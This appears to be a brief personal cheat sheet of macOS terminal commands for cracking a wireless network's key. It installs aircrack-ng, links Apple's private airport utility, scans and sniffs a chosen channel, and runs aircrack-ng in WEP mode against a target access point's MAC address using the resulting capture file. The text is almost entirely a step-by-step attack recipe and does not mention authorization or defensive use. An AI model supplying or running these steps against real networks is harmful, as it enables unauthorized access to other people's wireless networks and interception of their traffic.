Thou shall not fear thy console, for thee is the creator of all things.
sudo port install aircrack-ng
//Install the latest Xcode, with the Command Line Tools.
//Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
//Figure out which channel you need to sniff:
sudo airport -s
sudo airport en1 sniff [CHANNEL]
//New Terminal Window
aircrack-ng -1 -a 1 -b [TARGETMACADDRESS] [CAPFILE]
// Notes: the capfile will be located in the /tmp/airportSniff*.cap.